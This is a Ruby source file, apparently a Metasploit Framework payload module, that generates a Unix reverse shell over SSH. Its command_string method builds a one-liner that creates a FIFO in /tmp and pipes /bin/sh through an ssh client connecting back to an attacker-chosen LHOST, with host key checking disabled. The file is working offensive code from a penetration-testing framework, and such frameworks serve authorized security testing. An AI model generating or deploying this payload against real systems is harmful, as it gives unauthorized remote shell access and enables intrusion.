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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/handler/reverse_ssh'
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module MetasploitModule
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  CachedSize = :dynamic
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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     'Name'        => 'Unix Command Shell, Reverse TCP SSH',
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     'Description' => 'Connect back and create a command shell via SSH',
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     'Author'      => [
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       'RageLtMan <rageltman[at]sempervictus>', # Rex/Metasploit
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       'hirura' # HrrRbSsh
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     ],
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     'License'     => MSF_LICENSE,
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     'Platform'    => 'unix',
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     'Arch'        => ARCH_CMD,
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     'Handler'     => Msf::Handler::ReverseSsh,
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     'Session'     => Msf::Sessions::SshCommandShellReverse,
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     'PayloadType' => 'cmd',
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     'RequiredCmd' => 'ssh',
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     'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
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    ))
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    register_advanced_options(
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      [
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        Msf::OptString.new('SshClientOptions', [
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          false,
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          "Space separated options for the ssh client",
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          'UserKnownHostsFile=/dev/null StrictHostKeyChecking=no'
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        ]),
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        OptString.new('SSHPath', [true, 'The path to the SSH executable', 'ssh']),
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        OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
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      ]
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    )
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    return super + command_string
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    backpipe = Rex::Text.rand_text_alpha_lower(4..8)
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    lport = datastore['LPORT'] == 22 ? '' : "-p #{datastore['LPORT']} "
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    opts =  datastore['SshClientOptions'].blank? ? '' : datastore['SshClientOptions'].split(' ').compact.map {|e| e = "-o #{e} " }.join
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    "mkfifo /tmp/#{backpipe};#{datastore['SSHPath']} -qq #{opts}#{datastore['LHOST']} #{lport}0</tmp/#{backpipe}|#{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1;rm /tmp/#{backpipe}"
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  end
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end
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